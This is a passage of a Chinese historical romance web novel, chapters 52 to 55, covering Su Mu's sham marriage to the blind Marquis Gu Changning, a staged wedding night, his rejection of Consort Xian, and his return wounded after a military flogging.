祝余点头,见苏木脸上终于有了些生气,于是放心。她猛点头,随即想起苏木自起床后还未用食,于是往外走去。 瞧着罗裙渐远的背影,苏木长叹一口气,随即又看向铜镜中的自己。 她眸中笑意未散,在镜中所倒映出的自己倒真像是个期待嫁给如意郎君的娇娘子。可那眸中光芒消散时,却像是嗜血红刃,红枫锐利。 不多时,外头已响起锣鼓声与宾客喧哗之声。虽说苏木身出侯府便无结亲之礼,但门外依旧准备了花轿,意在取个吉兆。 苏木被搀扶入轿,帘外人声鼎沸。街巷两旁早已聚满了看客,喧哗阵阵。 “这位小侯爷,还不曾娶正妻竟先立了个侧室。” “听说还是奴出身,真是好福气!” 一男人声起:“奴?那得是长成何等样貌才能迷住昭明侯,他可是不近女色之人啊。” “刚才没瞧见人,轿里坐着呢,瞧她那一身穿着,那是正妻仪制啊。” “可惜了,小侯爷成婚,老侯爷却没回来,什么事儿啊。” 苏木听见男人嘴被捂住:“你说话小心些!” …… 纷扰之声听的耳烦心乱,苏木闭眼端坐,将周围嘈杂之声都避开了过去。四周仿佛都安静了起来。 正妻仪制,顾长宁倒是没亏待她,她虽未成过婚但也见过其他高门娶亲,所用仪制婚服等等,她所用有过之而无不及。 只是有一点他们说错了,她没有绝世容颜迷住顾长宁,顾长宁还是那个不近女色之人。 她如今身处侧门,听祝余说等到了吉时,轿子才会被顾长宁接至正门,八抬大轿迎她进门,所以正门离她是有些距离的,但她依旧听到了远处传来宫中之人传昭,皇帝已经到了。 不知又过了多久,苏木头顶发髻已将她压得昏昏沉沉,她正托手扶住发髻,外头便传来一阵马蹄声。 祝余帘外小声:“姐姐,小侯爷来了。” 虽赐婚乃权宜,但这阵仗却丝毫未有敷衍,无论如何,这也是苏木第一次成婚,在听到“小侯爷来了”几个字时,苏木心中却突然有些发慌,甚至,是紧张。 她立刻端坐,也顾不得头上重若千斤之物。 帘外,她未听到顾长宁的声音,只听到一恢弘司仪声响起,嘴里不听念叨着某些吉祥之语。 “良辰吉日,佳偶天成!” “珠联璧合,百年好合!” “花开并蒂,叶茂连枝!” “金玉良缘,天地共庆!” “迎亲,起——” 这声“起”拉的很长,直至落地,苏木的轿子被摇晃抬起。 轿子平稳跟在迎亲队伍之后,周围锣鼓喧天,吵得苏木很是头疼。 侧帘伸进祝余的手,指尖掐着两枚捏搓圆润的丝绵:“姐姐,这锣鼓吵得很,我知姐姐怕吵,把这戴在耳上,能减轻些。” 苏木感激接过。 “姐姐,你在里头瞧不见,刚才小侯爷迎亲时当真是玉树凌风,乌发高竖,鎏金冠显得整个人威严贵气,那双眼瞧着都有了些许神气。” 苏木刚戴完耳塞,只模模糊糊听见祝余说些什么,她不愿祝余的话落空,于是轻嗯了一声:“我知道了。” 语罢,她再没听见祝余说些什么,最主要的,还是耳边嘈杂声减弱了不少。 喜乐喧天,鼓声震耳,连绵不断的鼓声饶是苏木戴了耳塞也觉耳尖泛麻。 忽而,耳边声音都已停下,苏木只能再听到些喧嚣人声,但是比喜喇声倒好得多。 轿子停下,四周宾客皆探头张望,轿帘微微晃动,模糊红头帘外,是一片寂静的车厢。 一轿帘边角掀开,苏木看的模糊,却依然能凭着那骨节分明,指节修直的轮廓可知,那是顾长宁的手。 第52章 顾长宁立于轿前, 身姿笔直,他手中依旧拄着一柄玄色黑龙手杖, 大红喜袍的衣角和袖口皆绣有祥云,金丝在灯火下流光溢彩,腰间白玉金镶,温润挺拔。 那一刻,苏木似乎犹豫了。 若是真的搭上了这朝她展开的手掌,此事便再无转圜。可若是她想逃婚,那她早已不会身出于这婚驾之上。 手掌未有回收, 顾长宁立于轿外, 他面上带着浅笑, 未有丝毫着急, 他在等。 “新娘子怎么回事?” “不想嫁了?怎么还不出来?” “可能不好意思,姑娘家家, 能理解。” “出来了出来了——” 随着阵阵议论声, 一只白皙玉手自帘内探出。 她的指尖先是轻轻触到他的指尖,那一瞬她感受到了指尖传来的他人温度, 顿在空中的那一刻, 纤纤细指犹豫不决。最后稳稳地, 落入那温热沉稳的掌心。 感受到掌中泛着冷意的指节,顾长宁微微收紧指节,将那柔软而僵凉的手牢牢握住, 他似乎想要给予她些暖意,唇角牵起一抹笑,低声道:“走吧。” 苏木随他执手下轿,司仪的声音再次响起。 “才子佳人共结连理,侯府添喜同贺荣昌!” “新妇跨门, 添福添寿!” 苏木耳边听不到这些,她的目光落入帘下一步步沉稳的步伐和摇曳而起的婚袍。 看不见眼前路,她只能由着顾长宁牵她。 耳边纷纷:“也不知这娘子何等娇媚,你们可瞧见侯爷面上喜气了?” “可不是,眼睛虽瞧不见还能有如此气势,果真是威名赫赫的都督将军!” 两人一路走向正厅,门口早已设下火盆。火焰熊熊,热浪往苏木脚下钻,上方二人携手而立,身影紧贴。 苏木下意识后退,手却被顾长宁牢牢扣住,他低声压近,似在耳边吴侬软语:“别怕,我在。” 这声音是苏木很少听见的,不知是胸口燃起的紧张不安支配还是作何,这声音在此刻听来格外温柔,安抚着她那颗惴惴的心。 苏木感受到扣着她的手下意识的紧了紧,她点点头,被他半引着跨过那火盆,红绸衣摆与火焰交相辉映。 “撒麸子,早生贵子!” 地上滚落些红枣、花生、桂圆之物,苏木还未留神,只觉脚下一滑,还未来得及自己稳住,手肘已被坚实手掌所扶。 顾长宁温声低语:“小心。” 苏木眉眼滞楞,随即缓过神来,轻嗯一声后步履小心。 流程已完,二人跨槛而入,厅内红烛漫天,犹如红账。 顾长宁能感受到苏木指尖传来的紧张,他屈指给予安慰,随后向厅内明黄之人示礼。 苏木学着顾长宁的模样对着那赐婚之人行礼,听着二人一来一去的客套之语。 话落,皇帝并未坐于高堂之上,而是另坐一椅,摆于高堂一侧。 “吉时已到——” 随着司仪之声响起,二人皆随话语而礼。 “一拜天地——” “二拜高堂——” “夫妻对拜——” 厅内宾客屏息凝神,目光齐齐投向案前那对新人。 苏木一时未动,像是愣神一般。顾长宁面上未急,缓缓近身,语气温柔轻唤她:“木儿,过来。” 女子还朝高堂而立,被这一声唤过神来,这声“木儿”在此情景听来,似乎能够让她心砰砰直跳,手臂被他微微牵住时,指尖温热暗暗收紧。 二人相对而立,按礼应与他一同俯身,可就在身体前倾的一瞬,顾长宁往前近了几分,忽而似要靠近她鬓发之间,带着无意,清浅呼吸扫过那隔着头帘的雪白面颊。 顾长宁唇角勾起一抹极淡的弧度,低声几乎耳语:“认真点。” 这一声是在提醒她,皇帝在上宾客在下,她就算做戏,也请认真一点。 苏木心头一滞,不由抬眼,她这才真正回过神来,柔情是假意。 红帘外的人只盛额头相对。她缓缓俯身,认真对待行礼。 “礼成——送入洞房——” 被祝余送入红烛映天,喜气笼罩的婚房后,厅内发生之事她不再知晓。 迎亲成婚流程纷繁复杂,苏木这一趟下来感觉头都要炸了,她要扯下头帘取下发钗透气,可手刚触及盖头就被祝余的手止住。 “姐姐,新娘自己接盖头不吉利。” 此屋无外人,只余两人,苏木苦笑:“祝余,这发髻实在沉得慌,你容我透透气。”说着,她就又要动手去扯。 这下祝余按得更紧了:“不行!” “我是陪你出嫁的,师父未来我便是你的娘家人,我得为你的幸福着想!” 祝余这话说的坚定,苏木哭笑不得,一个人往后余生的幸福哪是一个盖头可以决定的,她哪信这些。 “好祝余,我就……” “不行。” 苏木刚想说我就揭下取下金冠就盖上,可话还没说完,祝余直接打断拒绝。她无奈也知祝余是为她好,于是妥协:“好好好,不掀了。” 又过良久,苏木已不再是简单的头沉了,她又困又饿。 “祝余,你饿了吗?” “不饿。” 苏木问的正是时候,祝余刚说不饿,恰巧她就听见祝余的肚子咕咕作响。 苏木好笑,知道她在担心什么,没戳穿她:“我也饿了,你去帮我取点吃食来。” “……” “祝余,我饿了” “……” “祝余,今日是我生辰,你舍得让我一整天饿肚子吗?” 苏木并没有撒谎,她这一整天都没进水没吃东西,早就饿的不行了,只是拜堂那会儿她饿过了似乎觉得还好,但此刻她坐也不是睡也不行,也不知道顾长宁何时才能结束,她只好还是垫垫肚子。 而且生辰也的确是在上巳,只是太久每过生辰,久到她提起上巳时,只单单以为是个普通节日罢了。 幼时的上巳,谢辞桉都会给她带她最喜欢的桃花酥,因着越想越远,反而越想越馋,还真相吃点东西了。 祝余虽和苏木生活了好几年,但的确从未听起苏木谈起她的生辰,她不确信但又高兴她愿意将生辰告诉自己,于是问:“真的吗?” “自然是真的!”苏木语气满是真诚。 “那我去给你取吃的!今日姐姐生辰一定要吃点好的,我去膳房给你找找。” 苏木笑道:“好啊,麻烦了。” 祝余走到门前又一顿,苏木知道她不放心,于是挥挥手:“放心吧,我的幸福我肯定比你重视得多。” “放心,我不会揭盖头的。” 我不会揭盖头的,这是谁说得,反正不是她说的。苏木见祝余掩上房门,一把将遮挡头上的盖头扯掉。 扯下得那一瞬,别提有多舒服了。 终于呼吸到了新鲜空气。 她后半生得幸福可不会寄望在顾长宁的身上,就算顾长宁现在进来,她也不会把盖头再盖上! 这样想着,苏木联手联合去拆头上珠钗,细小珠钗拆下后被她藏在床底,免得祝余一会儿回来发现端倪。 但头上那步摇才是罪魁祸首,苏木顺手就要去拆,无奈这发钗嵌得太深,她找不到解扣在何处,垂首扯了半天也未有动静,她气恼地要起身去铜镜前,可刚迈出一步,外头就传来些声音。 喜烛燃得正旺,红光摇曳,婚房内氤氲着檀香。 外头传来凌乱脚步,夹杂着醉意的笑谈,踉踉跄跄,苏木听出那声音定不是祝余,不知为何,她竟慌张的摸到盖头后将自己的脸盖的严严实实。 恰此时,门“吱呀”一声被推开,一股酒气伴着外头夜风和众宾客嬉笑声灌了进来。 模糊红帘之下,大红身影扶着门槛走进来,步伐虚浮,满是醉态。可在门栓反上后,顾长宁嘴边噙着的懒散笑意退散,整个人清醒如常。 “你喝酒了?” 苏木往木帐侧边移了几分,小心警惕。 顾长宁未言,但是苏木听见那脚步声离她越来越近。 “我们本不是真的成……” “嘘——” 苏木想说他俩假成婚不便拘泥于虚礼,可话还未说完就被顾长宁打断,他指节压着唇,做噤声状,苏木不明,但也未再开口。 苏木不知顾长宁刚恢复过常人状态,所以在他摇摇晃晃向前靠拢时,她真的以为他醉了。 瞧见地上未有手杖,只听到他撞上了一桌椅,顷刻便要倒下一般,苏木猛地起身将他托住。 顾长宁身上发烫,饶是隔着衣袖,仿佛都能灼烧她的指尖。 她即使稳住他,正要扶着顾长宁往帐上一坐,岂料手中之人力气大的可怕,翻手牵起她的手一翻,二人便齐齐滚落帐中。 顾长宁顺势贴耳:“外面有人。” 苏木心下一惊,本还因顾长宁粗鲁之举而恼之意近乎消散。 盖头被刚那一晃而掉落帐中,苏木抬眼,眼前面容离他不过睫毛之距,再加上这红烛香氛,一股暧昧氤氲而升。 她尽看恍了神,今日的顾长宁虽俊俏却不似往常冷意凛然,眉宇间似乎还有些许温和,只是因注意到窗外有人,眉峰下垂,眉头紧紧拧在一起。 “配合我。” 顾长宁喉中像有干柴烈火,这句话说的干涩嘶哑,仿佛在抑制什么。 苏木扑闪睫毛,盯着他“什么?” “唔……” 她话还未完全出口,脖颈间便传来一阵软湿触感,酥麻之感席卷全身,苏木惊愕,下一瞬就要去推开他。 第53章 她被迫昂首, 后颈被顾长宁粗粝手掌所握。她本想要撇开脸庞,顾长宁却忽而扣住她的腰, 她感受到腰间隔着喜服而传递到肤间的温热,突然无力推他。 顾长宁将她往怀中一带。床榻瞬即发出吱呀之声,榻下珠钗于被褥相擦,发出沉闷撞击的暗合声响。 他的唇带着湿润之感,从唇角延到耳边,几乎贴着她的耳蜗:“抱歉,忍一忍。” 随即, 他利落地垂下帐帘, 红帐瞬间隔开了外边的世界。 忍一忍?什么意思? 苏木的睫毛颤了颤, 心慌得几乎能听到自己得心跳从喉间跳出。她的理智告诉她他们不过是假夫妻, 可刚刚颈侧温热气息尚存,哪似有似无的炙热, 似乎正在灼烧着她, 将她拉入无尽深渊。 苏木还未从旖旎湿润中缓过神来,黑暗便席卷了整个视线——顾长宁掀开锦被, 将二人笼罩在黑暗之中。 “窗外是宫中之人, 抱歉。” 苏木明白了意思, 她平复呼吸,回过神来:“要我做什么?” 苏木不知自己的声音带着清浅的喘意,这一阵阵气息让顾长宁燥意横生, 喉头滑动,恰好鼻尖传来耳边女人发间的柔香,他发现有一股抑制不住的情绪正在急速上窜。 “发出些声响就好。” 他声音低哑,鼻间传出热浪,扫过苏木敏感的脖间。 红烛映照下, 帐影若隐若现,起伏连连,传来男子与女子低低的呼吸和压抑的笑声…… 窗外那道黑影似顿住,而后悄然离去。 直到外头黑影已退,顾长宁才缓缓停下了摇床的动作。 帐内一时安静。 苏木脸颊绯红未散,但人却清醒了不少,刚和顾长宁一起摇床时费了老大的劲。 顾长宁一只压在她身上的,此刻一瞬弹开,带着前所未有的慌乱。 一时之间,空气残留些旖旎而又尴尬的气氛。顾长宁从床上起身后整理了几下衣冠。 “刚刚……冒犯了。” “没事。” 两人皆无扭捏姿态,顾长宁也瞧不见苏木的面容,而苏木则盯着她,面上平静。 顾长宁轻咳一声撑着手杖:“宾客差不多散了,那我也先走了。” “嗯。” 门被推开,又“吱呀”一声合上,屋内安静如初,刚才之事就像没发生过一般。 苏木怔怔的看向屋门,心口乱如麻。 她口干舌燥,还是决定起身给自己倒杯茶喝。 她背对门口而立,显然没注意到门口处的黑影。 “苏木……” 门外传来顾长宁的声音。 苏木显然没想到顾长宁还没走,她倒水的手顿了一下,随即放下茶壶,举起茶杯往自己口中送了一口。 “怎么了。” 门外声音短暂消失,随即出现顾长宁那低哑的声音:“此次成婚乃形势所逼,待此事了结,他日你若要离去,我定不阻拦。” 他重复着之前二人所商量之事,苏木不懂他再说起此话的意义,只点头,语气中不夹杂多余的情绪:“希望你说到做到。” 顾长宁离开后不多时,祝余便找了一堆吃的来,有荷包里脊、黄焖鱼翅、虾丸鸡皮汤等等,瞧着甚是美味。 菜上齐了之后,祝余还端来了一碗长寿面,青葱浓香,看着就好吃。 因着已入深夜,其他菜品苏木吃得少,但那碗长寿面说是祝余亲自所下,她瞧着祝余眼巴巴盯着她,她自然是要吃完的。 酒足饭饱后祝余问:“姐姐,小侯爷什么时候过来?” 苏木又喝下一杯清酒,眼生朦胧:“还不知,前厅客人多,他成婚自然不能马虎,就算一个个敬酒,说不定能到明日。” “可姐姐,今夜是洞房花烛,哪有让新娘子独守婚房的道理。” 况且今早苏木说过,她和小侯爷是真心以待的,那更没道理让她独自呆在这红烛之间了。 “姐姐,许是那些个无理客人绊住了侯爷,我帮你去寻她。” 苏木醉意朦胧拉住她:“罢了,不用。” 可祝余偏不喜眼前人受一丝委屈,遂反握苏木的手:“没事,我就去寻寻,若是真有事耽搁,我也不会为难的。” 就这样,还没等苏木再说话,祝余便已开门出去了。 苏木脑袋发软,她本想拉住祝余,对她说顾长宁今日已经来过了,但是话还没说出口,四肢软软的,连说话也像咛喃。 罢了,去吧,去了顾长宁也不来。 还是早些睡下罢。 这样想着,苏木拖着自己沉重的身体,已无暇顾及头上未取珠钗,就这么躺在床上,沉沉睡了下去。 果然,还是床上舒服。 翌日,丝雨淅淅沥沥,水珠顺着檐角而落,砸出“碧波”的声响。 刚渐晴的天因着连绵不断地几天雨,倒有些凉意。 苏木下意思地扯了扯怀中被褥,想要将自己窝藏在温暖柔软之中。 但是,为何这被褥跟定住了一般,一动不动? 苏木拧眉睁眼,翻身时发现身侧有个比她高出半截的人形…… 为何,会有人形? 苏木脑袋生疼,昨日的酒像嵌在脑袋中一样,叫人昏沉。 她以为自己看错了,随即揉揉眼睛。 隆起的人形未散,甚至还不舒服的动了几下。 苏木顿起半个身子,忙往后撤了几步,仔细回想昨夜情景。 昨夜顾长宁走了,祝余来了,祝余走了她就睡了,然后…… 哐当一下,苏木脑袋中便闪过了些许斑驳碎片。记忆中,好像是祝余为她撤下珠钗,去掉脚靴,将她从滚落的地板上抱上了床。 然后…… 然后她拉着人的手不放,还叫祝余别出去了,今夜凉,二人可以一起睡! 苏木顿时清醒了大半,不知为何,她心里有种不好的预感,她忙低头看向自己,幸好幸好,衣服都还整整齐齐的。 至于她为什么要查看自己的衣服,苏木脑袋发懵,脑中竟然闪过了顾长宁的面容。 她好像,记得是祝余……又好像是,顾长宁? 但是,怎么可能是顾长宁呢,绝对不是顾长宁! 苏木身形未动,手却探向身子上覆盖的被褥。! 苏木脑袋嗡嗡作响,被褥下的人不是顾长宁是谁! 他正侧躺面对苏木,呼吸绵长而沉稳。眉目舒展,唇角微抿,睡的格外安静而平稳。 苏木怔怔望着,心口微微发紧。 居然真的是他。 苏木瞧着眼前的顾长宁,她实在记不清昨夜之事,但这样直愣愣的看着床上之人,忽然有一股平淡惬意之感。 真是莫名。 以前,因为顾长宁看不见,所以他总是下意识皱眉,生怕自己不小心撞到何物,而此刻,他睡着后少了几分凌厉阴郁,多了几分疏朗柔静。 她自己都没发现自己的手何时抬起,指尖似乎想要取触碰那眉宇,却在咫尺指尖突然收回。 苏木心下一慌,觉得自己一定是疯了。 这床上不能久待,她得趁顾长宁还未醒离去。这样想着,苏木窸窣朝床尾挪去,每一动都小心看向床上之人。 床上之人似乎睡的正香,愣是一动也不动。 挪到床位,苏木抬脚往毯上而支,腿上红绸落入她眼中,让她有些恍然。 她拿起靴子就要套,身后突然传来慵懒声音。 “夫人去哪?” 苏木手中动作停滞,猛抬眸。 夫人? 她回头,看向那不知何时半支着身子的顾长宁,眼中无色,神态却尽是懒散。 苏木尴尬的咳嗽几声,然后疑问:“夫人?” 顾长宁已靠着床头半坐:“在你离开之前,还是这样称呼方便,免得人怀疑。” 他说的在理,她再纠结这个称呼倒显得小气。苏木点点头,专心穿鞋。 “你昨夜不是离开了吗?为何又回来了?” 顾长宁翻身而起,在她身侧:“昨夜本在东苑醉花荫里听雨,撞上了祝余。” “喝醉酒的人力气壮如牛,我拧不过她。” 这话让苏木有些尴尬,她脑海里飘起昨夜自己拉着所谓的“祝余”的手,叫她先别走,现在回忆起来,倒想一头撞死。 但苏木表面平静,语带歉意:“对不住了,昨夜和祝余喝了几坛。” 他比她先穿完鞋:“无妨,只是喝酒伤身,日后要少饮些。” 苏木也穿好鞋,她讪笑:“的确如此。” “昨夜打搅你了,我要洗漱,你看……你要不先出去一下?” 她话中赶人,顾长宁自然也听得出。本就是假成婚,也不用太全套,他点点头:“那我先走了。” 苏木长舒一口气,看着他慢吞吞往四周摸索的背影,她想起什么,率先看到倒于榻下的手杖,立马拾起递给他。 “小心点。” “嗯。” 顾长宁拄这手杖明显走的快了许多,他往前走了几步,开门时步伐却一顿。 “苏木。” 突然被唤,她不明所以:“嗯?” “你医馆若是缺钱可在府中随意拿取银钱,不必将珠钗藏于榻下。” “……” 苏木满脸黑线,突然想起昨夜怕祝余发现所以藏在榻下的珠钗,没想到被眼前人误会。 她以前就算劫富那也是济贫,从未自己偷留些什么,她启唇正要解释,顾长宁却又说话。 “还有……” “那个,那个珠钗……”苏木欲解释。 “生辰快乐——” 底醇沉稳声音自门框边上而来,苏木猛抬眼,一时无声。 生……生辰,快乐?—— 第54章 昨夜 顾长宁不喜热闹, 所以在从苏木房里出来后,他没有再去前厅。 醉花荫乃是东苑一处花园, 正巧清风醉人,他立于园中嗅着海棠浸染昨日雨水之香,舒服自在。 也是在此时,娴妃从前厅而来。 许久未见长姐,她似乎消瘦不少。 二人立于园中,她不禁感叹时光如白驹,转眼他也成了亲。 追忆之间, 女子却悄然自身后环住了他的腰。 她语中噙啜:“长宁, 你带我走吧, 好吗?” 他推开身后的人, 面上满是不解,他知道娴妃从前所爱之人是周垣, 今时今日也已是圣上之人, 她如此行径,比之逾矩更过。 “娘娘请自重。” 顾长宁后退半步, 拉开距离后拱手:“娘娘如今身居后宫, 要照顾好自己。” 可下一瞬, 他那行礼之手却被人握住:“长宁,从前是我糊涂,是我不懂你对我的情意, 对不起。” 顾长宁拂去那双手,胸口发闷。 他从前是对眼前人有过爱慕之心,也曾纠结怀疑为何她所爱之人是周垣,是圣上而不是他,可如今, 他早已释怀,心中也只拿他做尊敬的长姐或高贵的娴妃娘娘。 他曾答应过周垣要护好她,所以那日听闻她杖责后因无力为她说上半句话而气恼,可无论怎么说,这些情意乃朋友之谊,乃亲人所念,再无其他。 “娘娘自重。” “自重?”娴妃苦笑,僵着那收回的手:“陛下早已疏远本宫,本宫在哪深宫中每日小心提防。” “我时常想,若是当年我早些发现你的心意,那我如今是否会不一样。” “长宁,你可知这三年来我有多痛苦,少时三人,如今却物是人非。” 说罢,娴妃双眸含泪,她微微垂眼,长睫轻颤,泪滴滑落时梨花带雨,让人瞧着好不心疼。 可顾长宁看不见,他冷峻如常却在听到她说旧时三人时,也不住叹了一口气:“聚散有时,娘娘勿要忧思。” “你说的对,可如今我再见到你,我忘不掉,我也无法释怀。” 说罢,她已冲进顾长宁怀里,她抱的紧,生怕顾长宁将她拉开。 “长宁,我真的好想你,好想你们,想你,想和你在侯府的那些日子。” 不知何时,娴妃早已忘记自己的身份,语中不再自称本宫,她语中带着追忆,带着不甘,带着痛苦。 顾长宁想要掰开怀中之人,可他却又无能为力。 他无奈,或许让她发泄一下,她心里会好受许多。 他没有回抱他,只直直被她抱住。 “娘娘,回不去了。” 他不能让娴妃一直活在过去,他需得让她认清现实:“如今你已为宫中之人,周家也已覆灭,我也已娶妻,你莫要如此,只会置自己于无尽深渊之中。” 可怀中人泪意更甚,似乎要打湿顾长宁的衣襟,她怀臂力气更甚,将他腰身死死攥在怀中:“长宁,长宁……” 她似听不到顾长宁的劝慰之语,就这样一声声地咛喃。 梦中的人终于出现在眼前,她牢牢抓住,不愿放开,也不愿睁眼,她怕她再次醒来,依旧是那个冷冰冰的宫殿。 他明白自己现在在多说已无意,怀中之人是怎么也听不进去的,他粗鲁的将她推开,双臂撑直拉开与眼前人之间的距离:“娴妃娘娘!” 他这声带着提醒,声音也高亮,一瞬便将梨花带雨的人儿叫醒了过来。 “长宁……” 她还想往前,顾长宁厉声制止:“长姐!” 长姐,就算他们并非实际意义的姐弟,可这一声长姐却如刀斧,一声劈开了他们的距离。 这声长姐,自她从越国而来时,只有一天这样叫过她,她比他大不了多少,所以他总是玩闹着叫她小月儿或者朗月。 这声长姐,是拒绝。 她沉溺的情绪被人一把从泥沼中拉出,她眼底满是不可置信:“你叫我什么?” 顾长宁无法察觉眼前人千姿百态的面色,他冷声拱手:“长姐,夜深了,陛下定在等你回宫。” “顾长宁!” 娴妃语带嘶哑,却无奈妥协:“长宁,你不要这样好吗?” 娴妃每进一步,顾长宁便后退一步,她终于停下,苦笑:“长宁,你是不是,真的喜欢上那个奴婢了。” 她记得,在宫中时她已听说顾长宁要娶妻,她虽无奈,但她也想他有个好归宿,可偏偏,是个奴。 她不甘心,为何一个奴可以在宫外,在侯府,在顾长宁的怀里肆意,而她只能困于后宫,所以她请求,请求皇帝出宫带着她。 可她今日,并未见到那人的面容。 喜欢,喜欢吗? 这个问题好像问倒了顾长宁。 他的眼前浮现不出那人的面容,只有那带着倔强清冽的声音。在蔺州上元,他不小心撞上,她未有责怪,只淡言无碍,那声特别的声音,他记得很久…… 在阆华街长廊上,她说:“顾长宁,你掉下去我可没功夫拦你”,所以她牵着他,一步步的沉稳逛在街头; 在看到小女孩在冰天雪地中卖花时,她会毫不犹豫的买下所有的花; 在被追杀时,她即使脚上有伤,也不愿他冒险,而让自己拽着她的腿; 在河岸边生怕她会死的紧张不安; 在山洞里,她说:“顾长宁,我不愿欠你人情,所以我救你是两清”,她用短刀给他处理伤口,语中有着很少流露的温柔和安慰“再忍忍”; 她语中总是带着刺猬般的锋芒,可行事却又无不在替他人着想。 就像那缃色腊梅,在孤傲中含苞绽放,疏离却带着丝丝沁人心脾的幽香…… 香非在蕊,香非在萼,骨中香彻。 所以,喜欢吗? 顾长宁眸中浮起一丝柔意,他语带温柔:“是啊,我喜欢他。” 因为喜欢,所以在她几次说要解蛊离去时,心中总有一股压制着的怒意; 因为喜欢,所以在听到无法解蛊后心中悄然升起一丝欢喜; 因为喜欢,在听到圣旨时第一反应不是拒绝,甚至想直接接下,却又自私的希望她和他所想一样; 因为喜欢,在她冷漠的说出他的性命干她何事时,他的心似乎像被针扎了一般; 这是喜欢吗? 也许是。 所以,在娴妃离开后,在他听到祝余说今日乃她的生辰后,他才会由着祝余给予的“借口”来到房中。 但他并没有想要行其他之事,只是当她牵着他的手叫他不要离开时,他才会无法挣脱,坐于榻边- 生辰快乐,苏木。 他开门远去,未打伞,穿梭于庭院之间。 苏木立于窗前,推开一角纱帘。烟雨氤氲,远处的身影被薄雾勾勒得模糊。 顾长宁已转入廊下,大红喜袍未褪,衬得他整个人意气风发,身姿颀长。乌蒙手杖稳稳点在脚边,衣袍水渍虽步伐洒地,溅起更多泥泞。 许是怕滑,他走的更加小心。 何故如此执着,她可以治好他的眼睛,眼盲得治,或许那个意气风发的少年将军还能回来。 苏木垂眸欲放下窗,却看远处传来一急切步伐,扬风立于顾长宁身前,面色凝重甚至焦急,他不知说了些什么,顾长宁的手杖便被扬风拿着,他扶着他,走得更快了些。 苏木起身后是祝余带着一众婢女来给她洗漱,舆洗过后,她换上了一袭月白牙织花长裙,衣摆素雅,腰间缎带精细,祝余替她梳了个已婚女子的发髻,髻间插着一淡雅的玉兰簪子,整个人看着干净素雅,脱俗如谪仙。 苏木最爱黑白,这身装束,她很是满意。 原本她打算去医馆瞧瞧,想着明日便可开张,乃何连日阴雨,路面泥泞,她喜净,便不想走这一遭了。 苏木现在住在主屋,红帐撤下后这主屋又寂寥不少,苏木虽瞧着冷清,但也没心思去装点,毕竟她是个假夫人,何苦干了日后他妻之活。 顾长宁房中书倒是不少,索性她拿起一本和医术相关的书,坐于窗前案边,听雨看书,也是惬意。 可这一坐乃至暮色,她都没听到顾长宁的消息。 天光渐暗,苏木揉揉眉心将书扔到一旁,她昨晚还想着今日要跟顾长宁说今日搬回厢房,可不知为何早上忘了说出口,现下她虽困了,但也是睡也不是,不睡也不是。 不知又过了多久,直至天近昏黑,忽听院外仆从急声传来:“侯爷回来了!” 她放下心来,随即起身要去寻他与他商量,可刚到门外,扬风便似一阵风般落入她眼前。 扬风脸上已分不清是雨水还是汗水,只见他气声喘喘,来不及歇气,眼中满是焦急:“苏,夫,夫人,你懂医术,你快去瞧瞧公子吧!” 苏木心下一震,快步跟在扬风身后。 雨后地面湿滑,空中带着凉意。远远看去,只见几名仆从簇拥着一人步入府门。烛火映照下,那人步伐踉跄,身形已坍塌如泥,旁人费力拽扶。 等到近前,苏木才看清楚顾长宁的脸色,苍白如纸。 他背上衣衫几乎被雨水浸透,暗红自肩头一直蔓延到腰际,混合着雨水湿漉漉地贴在他宽阔的身形,触目惊心。 血腥味混合着湿泥扑面而来。 苏木心下生惊,却来不及细想,她快步上去将人扶住。 “顾长宁?……”她声线发颤,带着急切和惊惶。 可垂首之人,未给半点反应,犹如死水—— 第55章 白日破晓, 燕雀绕梁,扑翅飞过时, 屋中之人才迷糊着睁眼。 一缕晨光自窗棂斜切而下,随时间斑走,已落入女子面颊。她缓缓睁眼时显然不适应这刺眼白光,举手拦住片刻,这才适应。 又一日过去,苏木坐于塌边小凳朝塌上之人瞧去。一夜一日,眼前人倒是睡的平稳。 只看当下, 仿佛前日之狼狈被一扫而空, 甚至从未发生。 前日, 顾长宁一身血渍污染背脊, 那伤痕遍布,衣衫褴褛破败, 碎布嵌混肌理, 叫人心惊。 饶是不知所为何,但瞧着他出无伤也能知, 此为杖刑所赐, 扬风明令侯府不得出门寻医, 所以那夜心惊着处理伤口,是以苏木为主,祝余为辅, 好在侯府常年备着些常用药材药品,处理起来也不算麻烦。 匆匆忙到后半夜,苏木才私下找扬风问了个清楚。 扬风神色复杂,但吞吞吐吐也说了个大概,毕竟就算他不说, 关于这件事,此时京中也传的沸沸扬扬。 外面什么说法都有,但是结合扬风所说,那便是西北战事再起,此事恰好又与宣德候有关。 鄢国地处中原,西北有寮州蛮夷,时时侵犯边境,皇帝派宣德候驻扎在西北蜚楚地界,为的就是防范蛮夷入侵,以及收复天佑五年被掠城池。 消息闭塞,只是前些日子西北便已开战,但侯府却是未传入半点消息,直至前夜昭明侯被急召入宫。 本来西北地势开阔,黄土沙地,气候亦然十分恶劣,所以行军之事要务必谨慎。起初宣德候率一万精兵击退敌人于蜚楚,但蛮夷之人却心思狡猾,以民为挟做肉盾,生生又逼退我军至城门地下。 宣德候所驻扎之地绿洲比之更多,这两年沙暴渐多,寮州人日子过不下去了,便又打起了鄢国的注意,又恰巧蜚楚同胞在敌方手中,所以这打也不是退也不是,一时僵桎,双方不下。 本来如此僵持,宣德候所驻夏丹内有五万精兵,就算寮州军来袭,那也是不怕的。不管如何,就算以蜚楚要挟,也不至于能将城中所有人掳至城下,毕竟两城之间还颇有短距离。 所以京中旨意是先勿轻举妄动,若是敌军再有来袭,再另作打算。 但上京离西北夏丹不止千余里,消息传回也是有些消息的,君令刚至夏丹,却闻夏丹百里外的峪口关大败,五千精锐与宣德候在撤军时均不知所踪。 此信一传回上京,朝堂一片哗然,更不用说御座之人该是何等震怒,随即就要遣西北其余州官派军搜寻,但情况不明,若贸然前去,怕是折损不止五千,此事有待商榷,但宣德候违令行事确是事实。 将在外其罚无所受,所以前儿个夜里,这军杖便由其子受过,其余罚责则由寻着宣德候后再回京领命。 因此这一事在京中疯涨窜论,一时茶馆酒楼街边妇女老少,无一不在谈论此事。 有人说宣德候自先帝时起无一败仗,此次败仗皆是由于宣德候年事已高,朝中无人能替,人才匮乏;亦有人说是宣德候手握兵权不听命行事,此次战事怕是皇帝要杀鸡儆猴收回兵权;更有人说皇帝早就料到此事,所以才选择在昭明侯大婚之日做出责罚,怎样看都像是下马威…… 这些话虽不中听,但又不无道理。 难怪新春宫宴涉及相府之事皇帝极力压下,原是世家之一的西北燕伯爵和相府交好,若那时相府出事,恐怕此时西北损失不止如此。 其中复杂,一两句未能说的明白。 